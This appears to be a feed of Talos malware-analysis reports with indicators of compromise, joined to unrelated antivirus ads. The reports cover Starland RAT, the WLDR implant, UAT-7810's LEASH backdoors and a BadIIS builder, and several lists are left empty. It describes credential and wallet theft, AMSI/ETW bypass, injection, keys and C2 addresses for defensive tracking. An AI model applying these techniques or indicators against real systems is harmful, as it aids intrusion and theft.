Additionally, it gathers the victim’s cryptocurrency assets information by enumerating the desktop cryptocurrency wallets and browser extension wallets, checking for the presence of over 40 cryptocurrency wallets. The collected data is also staged alongside the reconnaissance data and the Base64-encoded screenshot (PNG) data. The RAT consolidates all collected data into a single JSON file, XOR encrypts it with the 5-byte key “helo1”, Base64-encodes it, and sends it to the primary C2 through an HTTP POST request using the HTTP user-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36.
If the primary C2 registration fails, the RAT enables a blockchain-anchored fallback mechanism. An eth_call is triggered via JSON-RPC to the public Polygon RPC endpoint “polygon-rpc[.]com”, targeting the smart contract “0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba” and function selector “0xc659f3b8” for the latest block. The encrypted hexadecimal string that the RAT receives from the smart contract is XOR-decrypted with the key “$m7*rYpry3” to recover a fallback domain to which the RAT sends the victim machine registration request along with the reconnaissance and screenshot data.
Before transmitting the reconnaissance information to the C2 for the victim's machine registration, the RAT sends a notification message to the attacker-controlled Telegram bot using hardcoded credentials. The message includes the victim's public IP address sourced from “api64.ipify[.]org”, the build name, region locale, computer name presented as a “Crew ID” field, OS platform and release, processor string, and the hardcoded label
"Windows Defender” as the protection application indicator. If any Chrome cryptocurrency wallet extensions or desktop cold wallet applications were detected during the reconnaissance phase, they were also appended to the message of the Telegram bot, providing the threat actor with visibility into the victim profile and cryptocurrency assets before the actual registration of the victim machine to the C2.
After the RAT registers the compromised machine with the C2, it sends a GET request to the C2 server every 50 – 60 seconds. It contains minimal JSON content with two randomly named junk fields and the bot's unique identifier, encoded using the same XOR key “helo1” and then Base64 encoded. The C2 server responds with one of the four commands supported by the RAT:
Commands | Action |
shellexecute | Runs an arbitrary shell string via “cmd /c” or PowerShell and returns the output to the C2 server through HTTP POST request. |
x32 | Receives a 32-bit shellcode URL and executes the shellcode that is staged using the asynchronous procedure call (APC), process injection technique. |
x64 | Receives a 64-bit shellcode URL and executes the shellcode that is staged using the asynchronous procedure call (APC), process injection technique. |
download | Downloads the payload file to the “%TEMP%” folder and executes it by file extension, supporting EXE, MSI, DLL, and ZIP formats with appropriate execution methods. |
HTTP 403 response | Triggers the self-deletion of the RAT file and exits its process, functioning as a kill switch. |
In the current campaign investigation, Talos discovered that the threat actor executed a curl command to download and execute additional PowerShell script payloads of the WLDR C2 framework from another C2.
The WLDR stager PowerShell script represents the initial stage, where it establishes a loop counter and two boolean flags for execution states. Each state creates a runtime alias for PowerShell command execution, resolving .NET Base64 and byte conversion types through an obfuscated string construction mechanism. It also defines an inline decryption routine that XOR decrypts the next stage, which is the embedded encrypted WLDR downloader PowerShell script, using a dynamically computed XOR key.
WLDR downloader is a compact HWID-bound loader script. Upon execution, it derives a hardware identifier from the victim’s C: drive volume serial number, converts it from hexadecimal to a decimal number, and appends it to two hardcoded C2 URLs for victim-specific payload delivery and a persistent agent task channel. It then issues an HTTP GET request to the C2, and the C2 server only responds to requests whose HWID matches a pre-registered value. The C2 server response is an encrypted JSON envelope containing fields with a Base64-encoded salt, initialization vector, encrypted data, and authentication tag.
The WLDR loader processes the JSON response by decrypting the envelope through an inline decryption routine using a derived 64-byte key from a hardcoded plaintext password “odg5t8mvssvh” and the salt received from the C2 server in the JSON response. This is followed by the decryption of the encrypted data, which is the next stage of the WLDR agent PowerShell C2 memory implant. Before executing the WLDR agent, it writes the C2 URL and the plaintext password into the global PowerShell scope, making both available for the WLDR agent as its C2 address and session encryption key for all subsequent communication with the C2.
The WLDR agent is a fully featured PowerShell remote access client that operates entirely in memory. It implements encrypted C2 communications, concurrent task execution through a managed Runspace engine, and a module delivery framework that provides the threat actor with interactive remote PowerShell execution capabilities on the victim's machine.
Upon execution, the agent initializes the server's URL to a development placeholder and immediately checks for a globally scoped URL and session encryption password that were set by the WLDR loader script. If found, it overwrites the placeholder with the C2 URL and inherits the session encryption password, while also configuring other operational parameters, including polling interval, HTTP timeout, retry counts for the C2 reconnect cycle, and the number of threads for the Runspace pool.
Before initiating the C2 connectivity, it implements a mutex “f2j398fj239d8j23dkkskskkkkkkkkk” to prevent duplicate instances and performs a dependency check on the inherited session encryption password. If the password is not found, the agent exits its execution. The network communication is encrypted using AES-256-CBC with HMAC-SHA256 in an encryption, then Message Authentication Code (MAC) construction, with session keys derived through PBKDF2-SHA256 over a randomly generated salt at 5,000 iterations. The protocol version tag WSv1 is bound to every MAC computation, with a new random initialization vector (IV) generated for each message.
The agent performs reconnaissance via WMI queries, gathering information on antivirus products, network adapter configurations, OS version and build, domain membership, CPU, RAM, administrative privilege status, and UAC policy. A hardware identifier is primarily derived from the C: drive volume serial number; if that fails, it queries the machine's registry for the GUID or generates a checksum of the host name, which is appended to all C2 URLs. The initial connection to the C2 is established through an HTTP POST that includes the victim machine profile, the infection identifier, protocol version 2.0.0, and the cryptographic session parameters, with a connection retry timing set to 30 seconds. All subsequent traffic is sent to C2 over HTTPS, with headers designed to mimic a Chrome browser session in version 124.
After establishing the initial connection with the C2, the agent polls the C2 server every 10 seconds. The response from the C2 server can include either commands or tasks, with the only hardcoded command in the agent being a kill instruction that triggers instance termination, while tasks are queued for execution.
During our research, we observed that the initial response from the C2 was the idle polling interval response, which included empty fields in both the “commands” and “tasks” arrays.
Further analysis of the agent program disclosed that the C2 responses to the polling will contain encrypted PowerShell commands or scripts, which are decrypted using the same hardcoded password and executed through one of the two runtime engines defined in the backdoor program.
The primary agent execution engine is a PowerShell RunspacePool supporting up to 10 concurrent threads. Each PowerShell script payload delivered by the C2 is wrapped with details of execution context and parameters as in scope variables along with event handlers on the script’s execution result of output, error,and warnings. These event handlers registered on the output, error, and warning streams are triggered synchronously as the script execution output is produced, packaging results into stream messages and forwards them to the C2 in real time without waiting for the script execution completion.
This message streaming capability makes the WLDR agent’s Runspace engine favorable for the interactive operations such as continuous monitoring where the command output reaches the threat actor incrementally, rather than after the completion of the script execution.
If the Runspace engine fails to initialize the payload, PowerShell script execution defaults to standard PowerShell background jobs. It injects parameters and launches the script as a background job; however, unlike the Runspace path, it collects output only after the job completes, making it suitable only for short-lived batch tasks.
Talos has discovered that the threat actor possesses additional malware, including CastleStealer and Remcos RAT, which can be deployed as payloads to the victim's machine via the Starland RAT. To deliver these payloads, the threat actor utilizes a custom shellcode loader for both x64 and x32 machines, encapsulating the embedded encrypted binaries of the payloads.
The shellcode loader resolves all required Windows APIs entirely at runtime by enumerating the list of loaded modules in the OS memory, iterating through each module's export directory, and comparing a hash of each function name against stored target values. The shellcode neutralizes both the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) through two sequential bypass mechanisms. The primary technique resolves the target functions AmsiScanBuffer in “amsi.dll” and EtwEventWrite in “ntdll.dll” using runtime hash-based API resolution, then overwrites their first bytes in memory with a patch that forces AMSI to always return a clean scan result and the ETW write function to return immediately without writing the output, effectively neutralizing both interfaces. If the primary patching technique fails, the shellcode executes a fallback mechanism where it calls VirtualProtect to temporarily change the target function's memory page protection value to read-write-execute and writes the same patch bytes directly, then restores the original page protection.
Then, it decrypts the embedded encrypted payload blob and decompresses the decrypted data using LZX decompression into a newly allocated memory region. The payload is subsequently dispatched either by the reflective PE injection technique or by .NET CLR loading through the ICorRuntimeHost COM interface for .NET binaries, or through the PowerShell Runspace for PowerShell scripts.
Talos discovered that the threat actor can deliver CastleStealer implant through the x64 shellcode and the Remcos RAT through the x32 shellcode variant.
CastleStealer is a .NET-based infostealer and credential harvesting implant designed to systematically extract sensitive data from compromised Windows hosts. It incorporates several anti-analysis measures, including a Russian locale exclusion check and a hardcoded build expiry timestamp, ensuring it executes only against genuine targets within a defined operational window. Its credential theft surface is broad, targeting the full Chromium browser family and Firefox through direct SQLite database access, with decryption support for both legacy DPAPI-protected credentials and the AES-GCM application bound encryption scheme. Beyond browser data, it enumerates crypto wallet browser extensions, Discord and Telegram session files, Steam account credentials, and targeted filesystem paths, transmitting all collected material over a TCP socket to the attacker-controlled infrastructure. CastleStealer’s secondary payload delivery capability allows the actor to implant further payloads through process injection technique or PowerShell script execution.
Remcos RAT (Remote Control and Surveillance) is a commercial remote access tool originally sold as a legitimate remote administration tool. However, it has been extensively abused by a wide range of threat actors since its emergence in 2016. It provides operators with comprehensive post-exploitation capabilitiesincluding real-time keylogging, screen and webcam capture, audio recording, file management, shell command execution, and clipboard monitoring all communicated over an encrypted channel to a configurable C2 server.
The following ClamAV signature detects and blocks this threat:
Txt.Downloader.Agent-10060312-0
Html.Downloader.Agent-10060313-0
Html.Downloader.Agent-10060314-0
Py.Loader.Agent-10060315-0
Py.Loader.Agent-10060316-0
Ps1.Trojan.Agent-10060317-0
Ps1.Trojan.Agent-10060318-0
Ps1.Trojan.WLDRAgent-10060319-0
Ps1.Downloader.Agent-10060320-0
Win.Trojan.CastleStealer-10060341-0
Win.Trojan.Starland_Installer-10060342-0
Win.Malware.Starland-10060343-0
Win.Malware.Remka-10060344-0
The following Snort Rules Snort 2 and Snort 3 (SIDs) to detect and block this threat: 66787 – 66790 and 301580
The IOCs for this threat are also available at our GitHub repository here.
Get antivirus, firewall, and VPN service with a one-year subscription to Panda Dome for just $29.99.
The post Online Protection Is Simple and Effective with Panda Dome for $29.99 appeared first on TechRepublic.
ESET NOD32 Antivirus blocks malware, ransomware, and phishing for $19.99 a year without slowing your PC down.
The post This Popular Antivirus is on Sale for $19.99 appeared first on TechRepublic.
Talos assesses with high confidence that UAT-7810 is a China-nexus threat actor based on the infrastructure that it provides to secondary China-nexus APTs such as UAT-5918. Open-source reporting has also illustrated overlapping tooling between UAT-5918 and UAT-7810. However, at this time, Talos considers UAT-5918 and UAT-7810 separate APT actors tasked with their own set of objectives and targets.
Talos’ latest findings on UAT-7810 indicate that the threat actor continues to develop their custom-made malware dubbed “SHORTLEASH” with a newer version already being developed and hosted on attacker-controlled infrastructure. We track this new version of SHORTLEASH as “LONGLEASH.”
Talos has also discovered two more previously unknown tools in UAT-7810's arsenal:
Talos’ findings also illustrate that UAT-7810 used at least four new servers to host a variety of minor variations of DOGLEASH to deploy against compromised targets. An additional JAVA-based (JAR package) backdoor that we track as “JARLEASH” was also deployed by UAT-7810 on at least one of the three servers for administration purposes, including file management, FTP, SFTP, and Netcat.
Talos has observed UAT-7810 primarily exploit known vulnerabilities in unpatched Ruckus wireless routers, a tactic UAT-7810 has used since 2025. CVEs exploited include:
Talos discovered four new servers being used by UAT-7810 to host malicious payloads for a variety of hardware platforms including MIPS, ARM, and x64. The malware hosted predominantly consists of DOGLEASH, and accompanying shell scripts are executed on compromised systems to download and execute DOGLEASH.
All three of the following IP addresses were associated with VPS instances that indicated UAT-7810 acquired and used these servers as download locations:
One of the IPs, “217.15.164[.]147”, was also used as infrastructure to conduct exploitation of ASUS’ AiCloud Routers in early 2026 — specifically CVE-2025-2492 — indicating that UAT-7810 or an associated threat actor likely attempted to expand their ORB network to AiCloud Routers.
Additionally, “217.15.160[.]247” and “217.15.164[.]147”, hosted a TLS server on port 99 with the certificate fingerprint:
c2ab9adaba93ff094b8f3fc37d906014d870582039d276b7bd03e6fd583d8a15 and subject_dn = "C=exploit, ST=exploit, L=exploit, O=exploit, OU=exploit, CN=exploit"
Forensic analysis of compromised networking devices led to the discovery of a fourth IP address UAT-7810 used to host their malicious payloads: “95.182.100[.]231”, residing in Hong Kong.
LONGLEASH is a new version of UAT-7810's previously disclosed backdoor SHORTLEASH. SHORTLEASH consisted of a backdoor capable of contacting its command and control (C2), hosting a web server, managing tunnels, and acting as both a C2 server and client. LONGLEASH, however, contains a variety of additional capabilities, indicating that UAT-7810 is actively developing it for use against their targets.
LONGLEASH is built off the same codebase as SHORTLEASH, with both tools being internally named “ff-agent”. The LONGLEASH variant compiled for MIPS processors is built on the asynchronous version of the Boost library (Boost.Asio) to minimize the blocking time and maximize the performance of the network.
The internal name for the LONGLEASH project is “nz1.0” and it has the following major components:
The other major executor modules support managing of network connections to other servers, including TLS and public key infrastructure, managing clients connected to the implant, sockets and URIs.
The executor is also tasked with authorization of clients, routing of the messages through the proxy network, and setting and management of basic network tunnels.
Finally, the executor contains functionality to remove the implant and all traces from the server if a suspicious connection or tampering is detected.
The implant contains the User-Agent string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36" which may allow it to hide within legitimate traffic purporting to be an instance of the Windows Chrome version 122.
Apart from the Boost.Asio, the implant contains code from at least two open-source libraries: Nanopb, used for processing protobuf messages, and MbedTLS, for establishing TLS, proxying TLS encrypted communications, and managing x509 certificates for the network. The implant does not use a standard libc library but a small musl library libc that implements C functions on top of Linux syscalls.
LONGLEASH also has the capability to act as an intermediate C2 server. It can obtain commands and data from the original C2 and forward to its peers.
Talos also discovered a previously unknown backdoor, developed and operated by UAT-7810, that we track as DOGLEASH. After compromising a networking device, UAT-7810 deploys a shell script that:
DOGLEASH will bind and listen for an incoming request on a local hardcoded port. Any TCP data received is then decoded using a hardcoded password string. Based on the command code and accompanying data received, it creates a new thread in the process and carries out a specific action:
|
Command code |
Action taken |
|
0x2268, 0x2267 |
Execute command using /bin/sh -c |
|
0x2266 |
Read file |
|
0x2271 |
Rename file to create a backup |
|
0x2273, 0x2274 |
Close socket listener |
|
0x3450 |
Get OS info info -> release, version, machine HW ID, node name |
|
None of the above |
Execute code in memory |
JARLEASH is a JAR-based backdoor that UAT-7810 deploys on their own infrastructure, as well as on compromised systems with JAVA available, to enable easy access to the system. JARLEASH is accompanied by a startup script that first kills any active instances of JARLEASH on the system, and then spawns the JAVA container to deploy JARLEASH.
JARLEASH can either use an external configuration file or default to an embedded configuration. The configuration file contains comments in Simplified Chinese, indicating that the operators were Chinese-speaking individuals.
The backdoor has the following capabilities:
Talos also discovered a test binary UAT-7810 developed that we track as “LEASHTEST.” This binary is not malicious as-is, but its presence on a device likely indicates a compromise. It is used to test rudimentary functionality on the MIPS platform. Internally named "iot-test", it checks to see if it can take the following actions on an Internet-of-Things (IOT) device:
The development and use of LEASHTEST signifies that even though they have developed LONGLEASH, a full-fledged backdoor framework, UAT-7810 is still actively testing functionality on MIPS platforms and may not be completely confident of its behavior on MIPS devices.
SNORT® SIDs for the threats detailed here are: 66433, 66432, 66430, 66431, 301493.
ClamAV signatures for the malicious tooling associated with this cluster are:
194.233.92[.]26 217.15.160[.]247 217.15.164[.]147 95.182.100[.]231 http[:]//217.15.160[.]247:8088/ http[:]//217.15.160[.]247:2222/ http[:]//217.15.160[.]247:99/ http[:]//194.233.92[.]26:8088/ http[:]//194.233.92[.]26:2222/ http[:]//217.15.164[.]147:99/ http[:]//217.15.164[.]147:8088/ http[:]//217.15.164[.]147:2222/ http[:]//95.182.100[.]231:2222/
LEASHTEST
1b5649b479fd625de5c8120873644b5eb669cc89cd504582c18e0ae350fd8823
LONGLEASH
755fcee1337a252203002ecfdf673a08cfadeda8d738bef2d518a08e0626aa4f
Startup script for JARLEASH
e799d72929d7ccc7f6b6109742b8cc482838303207efc989543b6e1ca6d16e9c
Configuration file for JARLEASH
3b89d183eb014e29d9d0d4e45fc2b784a7fcfcf31dd48fd3bde30f8d956383d1
JARLEASH
324d95024fc8da5c92b5a1f4825aed5a2a91c9ca8fb6aa52abb332a4c9cf4257 bafba443170e54ef7fd431ce7f1b5e202719f3fd022e4ef70788904f574d2cdf
DOGLEASH
604b53f87d6c070bf387e80c70a6df8d272fa3fc143148d41f13e59d52ab1f13 c92541f273eeb576d39235d0a5c6f18f2574b132a1022598edfa38065783ab98 29c7fccc6ef8cbfe4da9a169c7c74bacaea1fb515a1fddef91ab1b1522f76e4c 425bf771c8c9f740b1ae9803dcb4fd45af4d6a6f171fcc72fc7d511095ca82ce ac8eae94d27122f4751bc96d9ea52d30000b7ca37569a2291b2710824ca3396f dc4f25b2247cfdd6fc96848db30a178baa4419a4c854e86e315b465836102d14 3878dd5c8eba1e5b53ab2e07e7b5482e95a3fd3e98268bcd7861318bc9902376 9b9e0e5a1eb469b8d20dc23351e08ff5d5731e1cedce0ddee9bbd00a76217f13 57bdab2ba4b05ec0338c06632599393d5b14227f31a43fe950ea8fdd47428715 b8d247fd1fb85d24a17afeec3815906dfbcdc5359647910b4a153900ec999a0f 5e225ea2648a8cba0fd94ec7fd8ce5315f5d0cc2922bafc9db3c8c41280e917c d5cf7315186a78ab6a7475c338bdf101bc6461930aaa7a012a02cf93f347c207 dd0fc1a88180fde8367bec7086f99294f36b8332f12994293139ed532d2ebbac 5c3f190571645c4641dcff2c07a4c3ab9acad06aa9607350a385729d8d6139f1 323c3a91be60ebc3e06e942bad04899a15911cea23269e43d07829164b2ce5d4 880425fee707e9f42e0b8d60119ed639b1ad506ea29877d126bdebce379cd229 e5d2de8ae98579bfb940290f60e59a502b3065345aaf765456387989c0488b20 2e0e43776e2e1a37d882a1b2ebb7d337ee88950177e43831dae645a367824feb b5969636eec376ad6c3ece2202b1722219955638e09b6f96d4cfc0598d3b1890 1660536f448b8b9f086ce9ea3ce4e9deefc59a76711ea53ee6d8f08fc8c1bb99 65feba2c971c214e71303ad2e0fbf62b45ebcaa784cbf3d0dab62786cb4c0469 53ac2b231c23d41234e55b1f7ed89f86234f785adbbe820959655d7b019d7df9 33c10b77e1da9f0679023d55fb3057879d15609db9c1d46ee5c3ff1240a3d052 5faea1650cac0f3ffd2dc1fb220182095a46e34158967d37c2a942e85e2ca97b 62d4ec87ed21f0d15cb769b0b2a5577cab41fc2cdb1e7e796c5bdff09264dd9a 534a4a5bff2609a2d6e088cb87465c08c2d69c6aaa7d2ffcbcd491274b8505f1 5eab4c61baa67ae2838a36c2e6ff0476a8f2117b96a7027b830c8cb46ce78efc 0af4c52a1d13e4132a1843ce7727abcf0ddd4d1ca6a4b17cdf599ec3f355c241 d4861088161fc72b9922abf933b4ea664a807105ec1eab4a173253aa60bfe6d7 3d296af7f29c0425655bd1cc0be48fe4aba52ee6760a89e805ca2589f4ef4d77 f235d2e044c2f7814e6bbcd835b9fd9f10f227dacfb9396185ec2013e7df4db4 4130f49fa81a699a667cafdbd6d1f6e781edd686c947eb8ae27134f6dc2c43d7 0a8555a71868749be8c905ed53296ce335af50a9262772b5e154ad3f9c35c2e4 5dbfa033676b5caacfae902734ce462cd871181eefbe299250ca8ac7e139719e 20fcba222f74dd68aaeb1f0ad30cdf702a828ee164a182b30d05d600c35b72d9 912adea5339c73cb4a777a3e9f98bf3cb08da6622c9dd3b4cc9b083cb03d10a2 03926e3da998f32ad898b640bd15cf145768f9e849e6f18d81350234254c424e 16971f9706d70ac4925651c7c8719b9d77aff63e4c0a618129efc32c2c46b989 6917c0f9eafefe42e33e791b75a7e503ff8b081bc10a98449e4076787dfc6c16 c7c9bfa9ffcd8fb6a2afe656f510c406ddc58ebff48ce1d0fd3fad951b46a36e b9fe48bda9a6c8787981a24f8bbc723a6f6aa80cab5fa53481937382f3c6ce85 f3fbf4481f30fd840f35568746f54be49eb92b2c9ac95597a7760abb171cb54b 6366d59b573d50fd23ff650923c4a8c1c918518a02d0a56f12c23533c45f439d 3fcaa3038e365b6ab0b121e2cd319c56b74e37381943a0da0e8dce407087cdb8 bf70c6f3a8e913f526ec57eeec50e1306f7b34b037915b7a1cf2968cc46acc58 0352f3e338261d98895df4c7b7a76b296485b2290c72bce56603351d167d0601 52b871429833e1dee348263844efb531f6a3fcd321f88dc8a876caaee912cedd 5db2ce9acd50f96d566e8d139f6490abf2bbf7a9293b876eeb4598fd2c37c515 3169a6dbcce684e2c5a2f166996b58ffa673df6e58b8edf2bdf3e66271c8c69e d871d76171504597bbda387689e12e7a5e354c360ff135f4df231cec68c761af d1f963b88672f3676a7da1580262ba0d4f367cc57a94b551754c20f77a670c43 76d9e2a2ff313f5b91cc67aab1127122baee1c3efbae1087e58a25bc5f1eb065 8c104da0e66ef6384663309aaf8fb49f549f2785d835eec620b265f8aa11d9f0 c494c878e28284539419612616d964ab9224cbe27e57f42293d91d02d684e3db 08701ed7975bf4f5688c2724d27ab497764200ad6f4dc53d3cc03b170378ced0 604b53f87d6c070bf387e80c70a6df8d272fa3fc143148d41f13e59d52ab1f13 0a8cae96e25e85c612b0736fe886f9b124ad70ec425bc2ec1a8a4135b25436ba 8459ff264a2c81c68a34c4ee6bc109d141ad28b96037d34ff112322a4c853739 68445a37a9943a267a8b2100fba2678353d6ec88844505ccbba659e586c7a105 29686c933cec1e274467e2dae264625ae6f754824bb7f550bc9c3131f625562c d973ad5a80c3d7468a9c392db4166857ed32b5d61cd6755766ba8922156dada3 f5a57dfae488d9dfe260b32460a1d947fb5af58ceaf2fb0139bc08b4bb79a966 2ebc1b6cf543e2cb3f22d9a5b54b6676bb71dde98df7532f8791297734e44fdd 6dbd507ca7cecea861f9cf704b3c5c37f5bd5392886a8c2562088892b7703fa5 89f0a67bc595ab8bce02c2f95f9292ad06e1868207e809c76bd16f0cab800c06 d81201d0fc19977e51104438a5b9cba861f4da20cea3ae9183edf16ab11d98f8 9d52cb4febf3342c34dcc8198dcaf453458be3699ab47dc08616aa7f18daa7fa 9a927c37a31b80975c5c5467f112b61478c9493c046281046443525358a5acb0 6cda1e81667f869940401f05a55c8dea94dbdf3ceffb93b5f320a6462cfea44d 745538dea8ed9aec4466e67a9d0aecf9e7026ff16a792d1d6f306e8b67d3f34c 13acadb3541e75af50e02d5be56c2238b93d8f154ce5514be1558e6ee59a1432
Since 2024, Talos has investigated numerous attacks across the Asia-Pacific region (along with a few in South Africa, Europe and North America) that utilize a specific variant of BadIIS characterized by "demo.pdb" strings. While multiple security vendors are tracking the global spread of these variants, Talos' observed tactics, techniques, and procedures (TTPs) show notable divergences from those documented by other vendors like Trend Micro, Ahnlab, VNPT, and Elastic. Consequently, it is difficult to attribute these attacks to a single threat actor. However, we assess with moderate confidence that the "demo.pdb" BadIIS variant is a commodity tool utilized by multiple Chinese-speaking cybercrime groups.
Although the core functionality of this BadIIS variant is largely limited to SEO fraud, content injection, and proxy‑based traffic manipulation, our investigation pivoted toward the malware’s embedded PDB strings. The consistent PDB path pattern offers much more intelligence value than the generic “demo.pdb” filename. The combination of a stable “Administrator\Desktop” build environment, Chinese-language folder names, and date-based versioning creates a highly reliable fingerprint for tracking and clustering this BadIIS version toolset. Beyond reinforcing our assessment that this is a commodity IIS malware family, the PDB paths enabled attribution to a possible customer name alias “x神” (“xshen”). Furthermore, the PDB artifacts reveal the existence of customized builds, some explicitly tailored to:
Prompted by these initial discoveries, Talos expanded our threat hunting efforts to identify similar PDB strings associated with this author with high confidence. The PDB paths extracted from these BadIIS variants reveal a sustained, multi-year development effort spanning from at least September 2021 to January 2026. By analyzing the developer's folder naming conventions, we can accurately map the malware's evolutionary trajectory, feature branching, and commercialization model.
Talos observed that the earliest explicit timestamp in the PDB paths is Sept. 30, 2021, indicating that the development of this specific toolset began on or before this date. The naming conventions observed in folders such as “dll0217”, “dll0301”, and “dll0315” (likely representing February 17, March 1, and March 15) demonstrate periods of rapid, sprint-like updates. Additionally, the “dll-no503” directory is particularly notable; it likely represents a troubleshooting build designed to resolve an issue where the malware caused IIS to throw "503 Service Unavailable" errors, which would otherwise alert server administrators to the infection. Finally, the latest observed compilation date, “dll20260106” (Jan. 6, 2026), confirms that this toolset remains actively maintained and deployed in the wild as of early 2026.
Talos also observed that the folder “兼容百度浏览器+劫持robots.txt” (“Compatible with Baidu browser + hijacking robots.txt”) explicitly confirms the malware's role in malicious SEO campaigns, specifically targeting the Chinese search engine ecosystem. Furthermore, the “2024-05-05-tcp" branch indicates a shift or enhancement in how the malware handles network traffic, potentially introducing custom proxying or SEO fraud communication protocols over raw TCP. Additionally, the inclusion of “过诺顿” (”bypass Norton”) in the build paths highlights a reactive development cycle, demonstrating that the author actively modifies the code to evade specific security vendor detections.
Below are the PDB strings Talos collected:
During our research into these BadIIS campaigns, Talos discovered a builder tool specifically designed for this malware variant. The threat actor utilizes this utility to generate configuration files, JavaScript redirectors, and PHP backlink scripts, as well as to inject custom parameters directly into the BadIIS malware. Figure 3 shows a screenshot of the builder's interface.
The observed builder is labeled as “version 1.0,” with an estimated original release year of 2021. However, the application header and compilation timestamp indicate that this specific artifact is an updated build compiled on August 22, 2022. The interface fields and configurable settings perfectly align with known BadIIS capabilities, which can be categorized into four primary functions:
Furthermore, operating this builder is not a simple, single-click process. Prior to generating the final payloads, the threat actor must stage unconfigured 32-bit and 64-bit BadIIS binaries within the same directory as the builder. Upon initiating the build process, the builder generates a “config.txt” file based on the threat actor’s configured parameters.
It then attempts to authenticate with the C2 server by checking for the specific response string "lwxat". Although the builder does not enforce this validation step — continuing the payload generation process regardless of whether the authentication succeeds or fails — this specific network behavior is highly valuable. Notably, this unique authentication mechanism serves as a critical pivot point, enabling us to identify and attribute other tools developed by the same author.
The final step of the build process involves obfuscating the C2 server address using a single-byte XOR operation with the key 0x3. Once encoded, the builder embeds these addresses, along with all other configured parameters, directly into the final BadIIS malware under the output folder. This configured and output files are illustrated in Figure 7.
Talos has been tracking multiple cybercrime groups, including those detailed in our previous reports on DragonRank and UAT-8099, that utilize various BadIIS variants to turn global web servers into compromised assets for search engine manipulation. The BadIIS variants deployed by those two groups primarily relied on hardcoded C2 infrastructure and statically compiled payloads to spread. However, the variant characterized by the "demo.pdb" strings represents a significant departure from these previous iterations.
Based on the recovered builder and PDB strings, Talos assesses with moderate confidence that this "demo.pdb" variant is commodity malware, likely sold privately or shared within underground markets. The architecture of this toolset suggests a modular, MaaS business model designed for continuous monetization. The malware developer can initially sell a basic version of BadIIS alongside the builder tool. If a threat actor later requiresan advanced, updated, or customized version (such as the “Norton bypass” or “custom site hijacking: redirect based on browser language” modules), they can request a bespoke payload from the developer and use their existing builder to inject the necessary configurations. Figure 9 shows the workflow Talos assessed.
By pivoting on the previously identified PDB strings and the authentication mechanism, Talos discovered that this author has developed a suite of additional tools designed to facilitate the installation of BadIIS on target machines. The observed PDB strings are listed below, followed by a detailed analysis of the differences between these tools and their respective capabilities.
Talos identified an additional tool that we assess with high confidence is linked to the same author. Upon execution, the tool verifies that it is running as a Windows service named “Winlogin.” If this condition is met, it initiates a two-stage C2 communication process. First, it connects to a primary C2 server for authentication. During this phase, the malware validates the connection by checking if the server's response matches the specific string "lwxat".
Once authenticated, it connects to a secondary C2 server to download and execute additional malicious payloads on the target machine. Furthermore, the malware uses double Base64 encoding to obfuscate the addresses of both C2 servers.
Talos observed another service-based tool that dynamically locates and reads an external configuration file to deploy BadIIS onto target machines. This component serves the same operational purpose as the installation batch scripts traditionally observed in earlier BadIIS campaigns. Upon execution, the malware identifies its own absolute path and searches its current directory for a file named “config.txt”. This configuration file uses an XML-like syntax, employing custom tags such as “<globalModules>”, “<name>”, “<path>”, and “<cmd>”. The tool employs a custom parsing routine to segment the file based on these tags, extracting string arrays that dictate its subsequent actions. Using this extracted data, the malware dynamically assembles command-line instructions by iterating through the parsed modules and replacing placeholders like “{name}” and “{path}” with randomized DLL paths and command snippets.
During this assembly phase, the tool specifically prepares commands for both 32-bit and 64-bit BadIIS (e.g., appending “32.dll” /y and “64.dll” /y). These fully-formed commands are then executed, likely via cmd.exe /c, using a function designed to capture the command output.
The threat actor continues to update this tool, recently merging two distinct capabilities into a single binary. The malware still impersonates the Winlogin system service for registration and persistence, but it now utilizes a higher volume of command-line executions to successfully install the BadIIS payload. Notably, these command lines closely resemble the syntax used in earlier BadIIS batch scripts. To evade detection by security products, the tool obfuscates its command lines and parameters using a custom Base64 encoding algorithm. A list of the encoded strings and their decoded counterparts is provided below.
Based on the decoded strings and the tool's code structure, we can categorize the functionality of this upgraded tool into three primary areas. The first group of strings focuses on file discovery, searching for “module.txt”, “.dll”, and “.config” files. The “.config” and “.dll” searches serve the same purpose as in previous versions, targeting IIS configuration files and the BadIIS malware, respectively. The “module.txt” file likely acts as a staging file to temporarily store the IIS modules list before committing changes to the active configuration. Furthermore, this phase targets the “<globalModules>” and “<modules>” sections to register the malicious DLL at the server level. The second group handles payload registration; the tool utilizes specific XML nodes to inject its payloads into the IIS configuration, dynamically replacing placeholders (e.g., “{name32}” and “{path64}”) with actual values. Finally, the third group is responsible for locating the primary BadIIS DLL and establishing its backup location to ensure persistence. However, prior to executing its primary functions, the tool sends a request to the C2 server for authentication. The validation process remains identical to previous versions; the tool verifies the connection by checking if the server's response matches the specific string "lwxat".
Talos observed that the latest version of the service installation tool is now separated into two distinct files. The workflow is shown in Figure 15.
The first file acts as the primary installer and begins by authenticating with the C2 server. Following successful authentication, it searches for the BadIIS malware, copies the payloads to specific primary and backup directories, and registers them within the IIS server module list to ensure persistence. Subsequently, it drops a secondary malware component, installing it as a Windows service. During our research, Talos observed this secondary malware impersonating legitimate services such as FaxService or AudiosService. Additionally, we recovered customization parameters and execution logs associated with this installer, which provided deeper insights into its overall capabilities.
The commands and parameters embedded in the install are also encoded. Below is a list of the encoded strings and their decoded counterparts.
The secondary malware component functions similarly to the previously described service tool. However, recognizing that security operations centers (SOCs) or antivirus products can easily quarantine or delete the primary BadIIS malware, the author has implemented a robust persistence mechanism. The installer now copies the BadIIS malware not only to the active directory used for hooking IIS requests and responses but also to a hidden backup location. This ensures that the malicious BadIIS is automatically restored and launched every time the compromised IIS server is restarted. The table below provides a list of the encoded strings and their decoded counterparts.
Alongside the service-based tools, Talos identified another utility that shares the same C2 authentication mechanism, custom Base64 encoding algorithm, and similar code structure. However, rather than operating as a persistent service, this tool functions primarily as a dropper designed to install the BadIIS malware onto the target IIS server. The embedded PDB string (“D:\vc\dll封装进exe\x64\Release\moduleinit.pdb”, which translates to "DLL packaged into EXE") explicitly confirms its purpose: packaging malicious DLL payloads within a standalone executable. The BadIIS are found in the resource and named as “IIS32” and “IIS64” (see Figure 17).
